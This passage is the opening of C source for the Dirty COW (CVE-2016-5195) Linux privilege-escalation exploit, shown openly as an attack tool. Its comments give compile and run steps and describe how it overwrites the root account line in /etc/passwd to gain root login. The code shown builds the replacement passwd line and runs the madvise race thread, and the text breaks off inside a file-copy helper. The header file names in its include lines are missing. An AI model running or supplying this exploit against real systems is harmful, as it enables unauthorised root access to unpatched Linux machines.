// // This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at // #include #include #include #include #include #include #include #include #include #include #include #include #include const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 200000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); } int copy_file(const char *from, const char *to) { // check if target file already exists if(access(to, F_OK) != -1) { printf("File %s already exists!
